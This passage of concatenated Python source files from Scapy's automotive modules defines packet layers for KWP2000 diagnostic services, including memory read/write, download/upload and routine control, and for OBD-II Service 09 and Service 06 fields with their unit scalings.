'InputOutputControlByLocalIdentifierPositiveResponse' fields_desc = [ XByteField('localIdentifier', 0), XByteEnumField('inputOutputControlParameter', 0, KWP_IOCBLI.inputOutputControlParameters), StrField('controlState', b"", fmt="B") ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_IOCBLI) \ and other.localIdentifier == self.localIdentifier bind_layers(KWP, KWP_IOCBLIPR, service=0x70) # ######################### KWP_DNMT ################################### class KWP_DNMT(Packet): responseTypes = { 0x01: 'responseRequired', 0x02: 'noResponse', } name = 'DisableNormalMessageTransmission' fields_desc = [ ByteEnumField('responseRequired', 0, responseTypes) ] bind_layers(KWP, KWP_DNMT, service=0x28) class KWP_DNMTPR(Packet): name = 'DisableNormalMessageTransmissionPositiveResponse' def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_DNMT) bind_layers(KWP, KWP_DNMTPR, service=0x68) # ######################### KWP_ENMT ################################### class KWP_ENMT(Packet): responseTypes = { 0x01: 'responseRequired', 0x02: 'noResponse', } name = 'EnableNormalMessageTransmission' fields_desc = [ ByteEnumField('responseRequired', 1, responseTypes) ] bind_layers(KWP, KWP_ENMT, service=0x29) class KWP_ENMTPR(Packet): name = 'EnableNormalMessageTransmissionPositiveResponse' def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_DNMT) bind_layers(KWP, KWP_ENMTPR, service=0x69) # ######################### KWP_TP ################################### class KWP_TP(Packet): responseTypes = { 0x01: 'responseRequired', 0x02: 'noResponse', } name = 'TesterPresent' fields_desc = [ ByteEnumField('responseRequired', 1, responseTypes) ] bind_layers(KWP, KWP_TP, service=0x3E) class KWP_TPPR(Packet): name = 'TesterPresentPositiveResponse' def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_TP) bind_layers(KWP, KWP_TPPR, service=0x7E) # ######################### KWP_CDTCS ################################### class KWP_CDTCS(Packet): responseTypes = { 0x01: 'responseRequired', 0x02: 'noResponse', } DTCGroups = { 0x0000: 'allPowertrainDTCs', 0x4000: 'allChassisDTCs', 0x8000: 'allBodyDTCs', 0xC000: 'allNetworkDTCs', 0xFF00: 'allDTCs' } DTCSettingModes = { 0: 'Reserved', 1: 'on', 2: 'off' } name = 'ControlDTCSetting' fields_desc = [ ByteEnumField('responseRequired', 1, responseTypes), XShortEnumField('groupOfDTC', 0, DTCGroups), ByteEnumField('DTCSettingMode', 0, DTCSettingModes), ] bind_layers(KWP, KWP_CDTCS, service=0x85) class KWP_CDTCSPR(Packet): name = 'ControlDTCSettingPositiveResponse' def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_CDTCS) bind_layers(KWP, KWP_CDTCSPR, service=0xC5) # ######################### KWP_ROE ################################### class KWP_ROE(Packet): responseTypes = { 0x01: 'responseRequired', 0x02: 'noResponse', } eventWindowTimes = { 0x00: 'reserved', 0x01: 'testerPresentRequired', 0x02: 'infiniteTimeToResponse', 0x80: 'noEventWindow' } eventTypes = { 0x80: 'reportActivatedEvents', 0x81: 'stopResponseOnEvent', 0x82: 'onNewDTC', 0x83: 'onTimerInterrupt', 0x84: 'onChangeOfRecordValue', 0xA0: 'onComparisonOfValues' } name = 'ResponseOnEvent' fields_desc = [ ByteEnumField('responseRequired', 1, responseTypes), ByteEnumField('eventWindowTime', 0, eventWindowTimes), MayEnd(ByteEnumField('eventType', 0, eventTypes)), # XXX Is this MayEnd correct? ByteField('eventParameter', 0), ByteEnumField('serviceToRespond', 0, KWP.services), ByteField('serviceParameter', 0) ] bind_layers(KWP, KWP_ROE, service=0x86) class KWP_ROEPR(Packet): name = 'ResponseOnEventPositiveResponse' fields_desc = [ ByteField("numberOfActivatedEvents", 0), MayEnd(ByteEnumField('eventWindowTime', 0, KWP_ROE.eventWindowTimes)), # XXX Is this MayEnd correct? ByteEnumField('eventType', 0, KWP_ROE.eventTypes), ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_ROE) \ and other.eventType == self.eventType bind_layers(KWP, KWP_ROEPR, service=0xC6) # ######################### KWP_RDBLI ################################### class KWP_RDBLI(Packet): localIdentifiers = ObservableDict({ 0xE0: "Development Data", 0xE1: "ECU Serial Number", 0xE2: "DBCom Data", 0xE3: "Operating System Version", 0xE4: "Ecu Reprogramming Identification", 0xE5: "Vehicle Information", 0xE6: "Flash Info 1", 0xE7: "Flash Info 2", 0xE8: "System Diagnostic general parameter data", 0xE9: "System Diagnostic global parameter data", 0xEA: "Ecu Configuration", 0xEB: "Diagnostic Protocol Information" }) name = 'ReadDataByLocalIdentifier' fields_desc = [ XByteEnumField('recordLocalIdentifier', 0, localIdentifiers) ] bind_layers(KWP, KWP_RDBLI, service=0x21) class KWP_RDBLIPR(Packet): name = 'ReadDataByLocalIdentifierPositiveResponse' fields_desc = [ XByteEnumField('recordLocalIdentifier', 0, KWP_RDBLI.localIdentifiers) ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_RDBLI) \ and self.recordLocalIdentifier == other.recordLocalIdentifier bind_layers(KWP, KWP_RDBLIPR, service=0x61) # ######################### KWP_WDBLI ################################### class KWP_WDBLI(Packet): name = 'WriteDataByLocalIdentifier' fields_desc = [ XByteEnumField('recordLocalIdentifier', 0, KWP_RDBLI.localIdentifiers) ] bind_layers(KWP, KWP_WDBLI, service=0x3B) class KWP_WDBLIPR(Packet): name = 'WriteDataByLocalIdentifierPositiveResponse' fields_desc = [ XByteEnumField('recordLocalIdentifier', 0, KWP_RDBLI.localIdentifiers) ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_WDBLI) \ and self.recordLocalIdentifier == other.recordLocalIdentifier bind_layers(KWP, KWP_WDBLIPR, service=0x7B) # ######################### KWP_RDBI ################################### class KWP_RDBI(Packet): dataIdentifiers = ObservableDict() name = 'ReadDataByIdentifier' fields_desc = [ XShortEnumField('identifier', 0, dataIdentifiers) ] bind_layers(KWP, KWP_RDBI, service=0x22) class KWP_RDBIPR(Packet): name = 'ReadDataByIdentifierPositiveResponse' fields_desc = [ XShortEnumField('identifier', 0, KWP_RDBI.dataIdentifiers), ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_RDBI) \ and self.identifier == other.identifier bind_layers(KWP, KWP_RDBIPR, service=0x62) # ######################### KWP_RMBA ################################### class KWP_RMBA(Packet): name = 'ReadMemoryByAddress' fields_desc = [ X3BytesField('memoryAddress', 0), ByteField('memorySize', 0) ] bind_layers(KWP, KWP_RMBA, service=0x23) class KWP_RMBAPR(Packet): name = 'ReadMemoryByAddressPositiveResponse' fields_desc = [ StrField('dataRecord', b"", fmt="B") ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_RMBA) bind_layers(KWP, KWP_RMBAPR, service=0x63) # ######################### KWP_DDLI ################################### # TODO: Implement correct interpretation here, # instead of using just the dataRecord class KWP_DDLI(Packet): name = 'DynamicallyDefineLocalIdentifier' definitionModes = {0x1: "defineByLocalIdentifier", 0x2: "defineByMemoryAddress", 0x3: "defineByIdentifier", 0x4: "clearDynamicallyDefinedLocalIdentifier"} fields_desc = [ XByteField('dynamicallyDefineLocalIdentifier', 0), ByteEnumField('definitionMode', 0, definitionModes), StrField('dataRecord', b"", fmt="B") ] bind_layers(KWP, KWP_DDLI, service=0x2C) class KWP_DDLIPR(Packet): name = 'DynamicallyDefineLocalIdentifierPositiveResponse' fields_desc = [ XByteField('dynamicallyDefineLocalIdentifier', 0) ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_DDLI) and \ other.dynamicallyDefineLocalIdentifier == self.dynamicallyDefineLocalIdentifier # noqa: E501 bind_layers(KWP, KWP_DDLIPR, service=0x6C) # ######################### KWP_WDBI ################################### class KWP_WDBI(Packet): name = 'WriteDataByIdentifier' fields_desc = [ XShortEnumField('identifier', 0, KWP_RDBI.dataIdentifiers) ] bind_layers(KWP, KWP_WDBI, service=0x2E) class KWP_WDBIPR(Packet): name = 'WriteDataByIdentifierPositiveResponse' fields_desc = [ XShortEnumField('identifier', 0, KWP_RDBI.dataIdentifiers), ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_WDBI) \ and other.identifier == self.identifier bind_layers(KWP, KWP_WDBIPR, service=0x6E) # ######################### KWP_WMBA ################################### class KWP_WMBA(Packet): name = 'WriteMemoryByAddress' fields_desc = [ X3BytesField('memoryAddress', 0), ByteField('memorySize', 0), StrField('dataRecord', b'', fmt="B") ] bind_layers(KWP, KWP_WMBA, service=0x3D) class KWP_WMBAPR(Packet): name = 'WriteMemoryByAddressPositiveResponse' fields_desc = [ X3BytesField('memoryAddress', 0) ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_WMBA) and \ other.memoryAddress == self.memoryAddress bind_layers(KWP, KWP_WMBAPR, service=0x7D) # ######################### KWP_CDI ################################### class KWP_CDI(Packet): DTCGroups = { 0x0000: 'allPowertrainDTCs', 0x4000: 'allChassisDTCs', 0x8000: 'allBodyDTCs', 0xC000: 'allNetworkDTCs', 0xFF00: 'allDTCs' } name = 'ClearDiagnosticInformation' fields_desc = [ XShortEnumField('groupOfDTC', 0, DTCGroups) ] bind_layers(KWP, KWP_CDI, service=0x14) class KWP_CDIPR(Packet): name = 'ClearDiagnosticInformationPositiveResponse' fields_desc = [ XShortEnumField('groupOfDTC', 0, KWP_CDI.DTCGroups) ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_CDI) and \ self.groupOfDTC == other.groupOfDTC bind_layers(KWP, KWP_CDIPR, service=0x54) # ######################### KWP_RSODTC ################################### class KWP_RSODTC(Packet): name = 'ReadStatusOfDiagnosticTroubleCodes' fields_desc = [ XShortEnumField('groupOfDTC', 0, KWP_CDI.DTCGroups) ] bind_layers(KWP, KWP_RSODTC, service=0x17) class KWP_RSODTCPR(Packet): name = 'ReadStatusOfDiagnosticTroubleCodesPositiveResponse' fields_desc = [ ByteField('numberOfDTC', 0), ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_RSODTC) bind_layers(KWP, KWP_RSODTCPR, service=0x57) # ######################### KWP_RECUI ################################### class KWP_RECUI(Packet): name = 'ReadECUIdentification' localIdentifiers = ObservableDict({ 0x86: "DCS ECU Identification", 0x87: "DCX / MMC ECU Identification", 0x88: "VIN (Original)", 0x89: "Diagnostic Variant Code", 0x90: "VIN (Current)", 0x96: "Calibration Identification", 0x97: "Calibration Verification Number", 0x9A: "ECU Code Fingerprint", 0x98: "ECU Data Fingerprint", 0x9C: "ECU Code Software Identification", 0x9D: "ECU Data Software Identification", 0x9E: "ECU Boot Software Identification", 0x9F: "ECU Boot Fingerprint" }) fields_desc = [ XByteEnumField('localIdentifier', 0, localIdentifiers) ] bind_layers(KWP, KWP_RECUI, service=0x1A) class KWP_RECUIPR(Packet): name = 'ReadECUIdentificationPositiveResponse' fields_desc = [ XByteEnumField('localIdentifier', 0, KWP_RECUI.localIdentifiers) ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_RECUI) and \ self.localIdentifier == other.localIdentifier bind_layers(KWP, KWP_RECUIPR, service=0x5A) # ######################### KWP_SRBLI ################################### class KWP_SRBLI(Packet): routineLocalIdentifiers = ObservableDict({ 0xE0: "FlashEraseRoutine", 0xE1: "FlashCheckRoutine", 0xE2: "Tell-TaleRetentionStack", 0xE3: "RequestDTCsFromShadowErrorMemory", 0xE4: "RequestEnvironmentDataFromShadowErrorMemory", 0xE5: "RequestEventInformation", 0xE6: "RequestEventEnvironmentData", 0xE7: "RequestSoftwareModuleInformation", 0xE8: "ClearTell-TaleRetentionStack", 0xE9: "ClearEventInformation" }) name = 'StartRoutineByLocalIdentifier' fields_desc = [ XByteEnumField('routineLocalIdentifier', 0, routineLocalIdentifiers) ] bind_layers(KWP, KWP_SRBLI, service=0x31) class KWP_SRBLIPR(Packet): name = 'StartRoutineByLocalIdentifierPositiveResponse' fields_desc = [ XByteEnumField('routineLocalIdentifier', 0, KWP_SRBLI.routineLocalIdentifiers) ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_SRBLI) \ and other.routineLocalIdentifier == self.routineLocalIdentifier bind_layers(KWP, KWP_SRBLIPR, service=0x71) # ######################### KWP_STRBLI ################################### class KWP_STRBLI(Packet): name = 'StopRoutineByLocalIdentifier' fields_desc = [ XByteEnumField('routineLocalIdentifier', 0, KWP_SRBLI.routineLocalIdentifiers) ] bind_layers(KWP, KWP_STRBLI, service=0x32) class KWP_STRBLIPR(Packet): name = 'StopRoutineByLocalIdentifierPositiveResponse' fields_desc = [ XByteEnumField('routineLocalIdentifier', 0, KWP_SRBLI.routineLocalIdentifiers) ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_STRBLI) \ and other.routineLocalIdentifier == self.routineLocalIdentifier bind_layers(KWP, KWP_STRBLIPR, service=0x72) # ######################### KWP_RRRBLI ################################### class KWP_RRRBLI(Packet): name = 'RequestRoutineResultsByLocalIdentifier' fields_desc = [ XByteEnumField('routineLocalIdentifier', 0, KWP_SRBLI.routineLocalIdentifiers) ] bind_layers(KWP, KWP_RRRBLI, service=0x33) class KWP_RRRBLIPR(Packet): name = 'RequestRoutineResultsByLocalIdentifierPositiveResponse' fields_desc = [ XByteEnumField('routineLocalIdentifier', 0, KWP_SRBLI.routineLocalIdentifiers) ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_RRRBLI) \ and other.routineLocalIdentifier == self.routineLocalIdentifier bind_layers(KWP, KWP_RRRBLIPR, service=0x73) # ######################### KWP_RD ################################### class KWP_RD(Packet): name = 'RequestDownload' fields_desc = [ X3BytesField('memoryAddress', 0), BitField('compression', 0, 4), BitField('encryption', 0, 4), X3BytesField('uncompressedMemorySize', 0) ] bind_layers(KWP, KWP_RD, service=0x34) class KWP_RDPR(Packet): name = 'RequestDownloadPositiveResponse' fields_desc = [ StrField('maxNumberOfBlockLength', b"", fmt="B"), ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_RD) bind_layers(KWP, KWP_RDPR, service=0x74) # ######################### KWP_RU ################################### class KWP_RU(Packet): name = 'RequestUpload' fields_desc = [ X3BytesField('memoryAddress', 0), BitField('compression', 0, 4), BitField('encryption', 0, 4), X3BytesField('uncompressedMemorySize', 0) ] bind_layers(KWP, KWP_RU, service=0x35) class KWP_RUPR(Packet): name = 'RequestUploadPositiveResponse' fields_desc = [ StrField('maxNumberOfBlockLength', b"", fmt="B"), ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_RU) bind_layers(KWP, KWP_RUPR, service=0x75) # ######################### KWP_TD ################################### class KWP_TD(Packet): name = 'TransferData' fields_desc = [ ByteField('blockSequenceCounter', 0), StrField('transferDataRequestParameter', b"", fmt="B") ] bind_layers(KWP, KWP_TD, service=0x36) class KWP_TDPR(Packet): name = 'TransferDataPositiveResponse' fields_desc = [ ByteField('blockSequenceCounter', 0), StrField('transferDataRequestParameter', b"", fmt="B") ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_TD) \ and other.blockSequenceCounter == self.blockSequenceCounter bind_layers(KWP, KWP_TDPR, service=0x76) # ######################### KWP_RTE ################################### class KWP_RTE(Packet): name = 'RequestTransferExit' fields_desc = [ StrField('transferDataRequestParameter', b"", fmt="B") ] bind_layers(KWP, KWP_RTE, service=0x37) class KWP_RTEPR(Packet): name = 'RequestTransferExitPositiveResponse' fields_desc = [ StrField('transferDataRequestParameter', b"", fmt="B") ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_RTE) bind_layers(KWP, KWP_RTEPR, service=0x77) # ######################### KWP_NR ################################### class KWP_NR(Packet): negativeResponseCodes = { 0x00: 'positiveResponse', 0x10: 'generalReject', 0x11: 'serviceNotSupported', 0x12: 'subFunctionNotSupported-InvalidFormat', 0x21: 'busyRepeatRequest', 0x22: 'conditionsNotCorrect-RequestSequenceError', 0x23: 'routineNotComplete', 0x31: 'requestOutOfRange', 0x33: 'securityAccessDenied-SecurityAccessRequested', 0x35: 'invalidKey', 0x36: 'exceedNumberOfAttempts', 0x37: 'requiredTimeDelayNotExpired', 0x40: 'downloadNotAccepted', 0x50: 'uploadNotAccepted', 0x71: 'transferSuspended', 0x78: 'requestCorrectlyReceived-ResponsePending', 0x80: 'subFunctionNotSupportedInActiveDiagnosticSession', 0x9A: 'dataDecompressionFailed', 0x9B: 'dataDecryptionFailed', 0xA0: 'EcuNotResponding', 0xA1: 'EcuAddressUnknown' } name = 'NegativeResponse' fields_desc = [ MayEnd(XByteEnumField('requestServiceId', 0, KWP.services)), # XXX Is this MayEnd correct? ByteEnumField('negativeResponseCode', 0, negativeResponseCodes) ] def answers(self, other): # type: (Packet) -> int return self.requestServiceId == other.service and \ (self.negativeResponseCode != 0x78 or conf.contribs['KWP']['treat-response-pending-as-answer']) bind_layers(KWP, KWP_NR, service=0x7f) # ################################################################## # ######################## UTILS ################################### # ################################################################## class KWP_TesterPresentSender(PeriodicSenderThread): def __init__(self, sock, pkt=KWP() / KWP_TP(responseRequired=0x02), interval=2): # type: (Any, _PacketIterable, float) -> None """ Thread that sends TesterPresent packets periodically :param sock: socket where packet is sent periodically :param pkt: packet to send :param interval: interval between two packets """ PeriodicSenderThread.__init__(self, sock, pkt, interval) def run(self): # type: () -> None while not self._stopped.is_set(): for p in self._pkts: self._socket.sr1(p, timeout=0.3, verbose=False) self._stopped.wait(timeout=self._interval) if self._stopped.is_set() or self._socket.closed: break ================================================ FILE: scapy/contrib/automotive/obd/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/obd/iid/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/obd/iid/iids.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import FieldLenField, FieldListField, StrFixedLenField, \ ByteField, ShortField, FlagsField, XByteField, PacketListField from scapy.packet import Packet, bind_layers from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.contrib.automotive.obd.services import OBD_S09 # See https://en.wikipedia.org/wiki/OBD-II_PIDs#Service_09 # for further information # IID = Information IDentification class OBD_S09_PR_Record(Packet): fields_desc = [ XByteField("iid", 0), ] class OBD_S09_PR(Packet): name = "Infotype IDs" fields_desc = [ PacketListField("data_records", [], OBD_S09_PR_Record) ] def answers(self, other): return isinstance(other, OBD_S09) \ and all(r.iid in other.iid for r in self.data_records) class OBD_IID00(OBD_Packet): name = "IID_00_Service9SupportedInformationTypes" fields_desc = [ FlagsField('supported_iids', 0, 32, [ 'IID20', 'IID1F', 'IID1E', 'IID1D', 'IID1C', 'IID1B', 'IID1A', 'IID19', 'IID18', 'IID17', 'IID16', 'IID15', 'IID14', 'IID13', 'IID12', 'IID11', 'IID10', 'IID0F', 'IID0E', 'IID0D', 'IID0C', 'IID0B', 'IID0A', 'IID09', 'IID08', 'IID07', 'IID06', 'IID05', 'IID04', 'IID03', 'IID02', 'IID01' ]) ] class _OBD_IID_MessageCount(OBD_Packet): fields_desc = [ ByteField('message_count', 0) ] class OBD_IID01(_OBD_IID_MessageCount): name = "IID_01_VinMessageCount" class OBD_IID03(_OBD_IID_MessageCount): name = "IID_03_CalibrationIdMessageCount" class OBD_IID05(_OBD_IID_MessageCount): name = "IID_05_CalibrationVerificationNumbersMessageCount" class OBD_IID07(_OBD_IID_MessageCount): name = "IID_07_InUsePerformanceTrackingMessageCount" class OBD_IID09(_OBD_IID_MessageCount): name = "IID_09_EcuNameMessageCount" class OBD_IID02(OBD_Packet): name = "IID_02_VehicleIdentificationNumber" fields_desc = [ FieldLenField('count', None, count_of='vehicle_identification_numbers', fmt='B'), FieldListField('vehicle_identification_numbers', [], StrFixedLenField('', b'', 17), count_from=lambda pkt: pkt.count) ] class OBD_IID04(OBD_Packet): name = "IID_04_CalibrationId" fields_desc = [ FieldLenField('count', None, count_of='calibration_identifications', fmt='B'), FieldListField('calibration_identifications', [], StrFixedLenField('', b'', 16), count_from=lambda pkt: pkt.count) ] class OBD_IID06(OBD_Packet): name = "IID_06_CalibrationVerificationNumbers" fields_desc = [ FieldLenField('count', None, count_of='calibration_verification_numbers', fmt='B'), FieldListField('calibration_verification_numbers', [], StrFixedLenField('', b'', 4), count_from=lambda pkt: pkt.count) ] class OBD_IID08(OBD_Packet): name = "IID_08_InUsePerformanceTracking" fields_desc = [ FieldLenField('count', None, count_of='data', fmt='B'), FieldListField('data', [], ShortField('', 0), count_from=lambda pkt: pkt.count) ] class OBD_IID0A(OBD_Packet): name = "IID_0A_EcuName" fields_desc = [ FieldLenField('count', None, count_of='ecu_names', fmt='B'), FieldListField('ecu_names', [], StrFixedLenField('', b'', 20), count_from=lambda pkt: pkt.count) ] class OBD_IID0B(OBD_Packet): name = "IID_0B_InUsePerformanceTrackingForCompressionIgnitionVehicles" fields_desc = [ FieldLenField('count', None, count_of='data', fmt='B'), FieldListField('data', [], ShortField('', 0), count_from=lambda pkt: pkt.count) ] bind_layers(OBD_S09_PR_Record, OBD_IID00, iid=0x00) bind_layers(OBD_S09_PR_Record, OBD_IID01, iid=0x01) bind_layers(OBD_S09_PR_Record, OBD_IID02, iid=0x02) bind_layers(OBD_S09_PR_Record, OBD_IID03, iid=0x03) bind_layers(OBD_S09_PR_Record, OBD_IID04, iid=0x04) bind_layers(OBD_S09_PR_Record, OBD_IID05, iid=0x05) bind_layers(OBD_S09_PR_Record, OBD_IID06, iid=0x06) bind_layers(OBD_S09_PR_Record, OBD_IID07, iid=0x07) bind_layers(OBD_S09_PR_Record, OBD_IID08, iid=0x08) bind_layers(OBD_S09_PR_Record, OBD_IID09, iid=0x09) bind_layers(OBD_S09_PR_Record, OBD_IID0A, iid=0x0A) bind_layers(OBD_S09_PR_Record, OBD_IID0B, iid=0x0B) ================================================ FILE: scapy/contrib/automotive/obd/mid/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/obd/mid/mids.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import FlagsField, ScalingField, ByteEnumField, \ MultipleTypeField, ShortField, ShortEnumField, PacketListField from scapy.packet import Packet, bind_layers from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.contrib.automotive.obd.services import OBD_S06 def _unit_and_scaling_fields(name): return [ (ScalingField(name, 0, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1), (ScalingField(name, 0, scaling=0.1, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2), (ScalingField(name, 0, scaling=0.01, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x3), (ScalingField(name, 0, scaling=0.001, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x4), (ScalingField(name, 0, scaling=0.0000305, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x5), (ScalingField(name, 0, scaling=0.000305, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x6), (ScalingField(name, 0, scaling=0.25, unit="rpm", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x7), (ScalingField(name, 0, scaling=0.01, unit="km/h", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x8), (ScalingField(name, 0, unit="km/h", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x9), (ScalingField(name, 0, scaling=0.122, unit="mV", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xA), (ScalingField(name, 0, scaling=0.001, unit="V", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xB), (ScalingField(name, 0, scaling=0.01, unit="V", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xC), (ScalingField(name, 0, scaling=0.00390625, unit="mA", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xD), (ScalingField(name, 0, scaling=0.001, unit="A", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xE), (ScalingField(name, 0, scaling=0.01, unit="A", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xF), (ScalingField(name, 0, unit="ms", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x10), (ScalingField(name, 0, scaling=100, unit="ms", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x11), (ScalingField(name, 0, scaling=1, unit="s", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x12), (ScalingField(name, 0, scaling=1, unit="mOhm", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x13), (ScalingField(name, 0, scaling=1, unit="Ohm", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x14), (ScalingField(name, 0, scaling=1, unit="kOhm", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x15), (ScalingField(name, -40, scaling=0.1, unit="deg. C", offset=-40, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x16), (ScalingField(name, 0, scaling=0.01, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x17), (ScalingField(name, 0, scaling=0.0117, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x18), (ScalingField(name, 0, scaling=0.079, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x19), (ScalingField(name, 0, scaling=1, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1A), (ScalingField(name, 0, scaling=10, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1B), (ScalingField(name, 0, scaling=0.01, unit="deg.", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1C), (ScalingField(name, 0, scaling=0.5, unit="deg.", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1D), (ScalingField(name, 0, scaling=0.0000305, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1E), (ScalingField(name, 0, scaling=0.05, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1F), (ScalingField(name, 0, scaling=0.0039062, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x20), (ScalingField(name, 0, scaling=1, unit="mHz", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x21), (ScalingField(name, 0, scaling=1, unit="Hz", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x22), (ScalingField(name, 0, scaling=1, unit="KHz", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x23), (ScalingField(name, 0, scaling=1, unit="counts", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x24), (ScalingField(name, 0, scaling=1, unit="km", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x25), (ScalingField(name, 0, scaling=0.1, unit="mV/ms", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x26), (ScalingField(name, 0, scaling=0.01, unit="g/s", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x27), (ScalingField(name, 0, scaling=1, unit="g/s", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x28), (ScalingField(name, 0, scaling=0.25, unit="Pa/s", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x29), (ScalingField(name, 0, scaling=0.001, unit="kg/h", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2A), (ScalingField(name, 0, scaling=1, unit="switches", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2B), (ScalingField(name, 0, scaling=0.01, unit="g/cyl", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2C), (ScalingField(name, 0, scaling=0.01, unit="mg/stroke", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2D), (ShortEnumField(name, 0, {0: "false", 1: "true"}), lambda pkt: pkt.unit_and_scaling_id == 0x2E), (ScalingField(name, 0, scaling=0.01, unit="%", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2F), (ScalingField(name, 0, scaling=0.001526, unit="%", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x30), (ScalingField(name, 0, scaling=0.001, unit="L", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x31), (ScalingField(name, 0, scaling=0.0000305, unit="inch", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x32), (ScalingField(name, 0, scaling=0.00024414, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x33), (ScalingField(name, 0, scaling=1, unit="min", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x34), (ScalingField(name, 0, scaling=10, unit="ms", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x35), (ScalingField(name, 0, scaling=0.01, unit="g", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x36), (ScalingField(name, 0, scaling=0.1, unit="g", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x37), (ScalingField(name, 0, scaling=1, unit="g", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x38), (ScalingField(name, 0, scaling=0.01, unit="%", offset=-327.68, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x39), (ScalingField(name, 0, scaling=1, fmt='h'), lambda pkt: 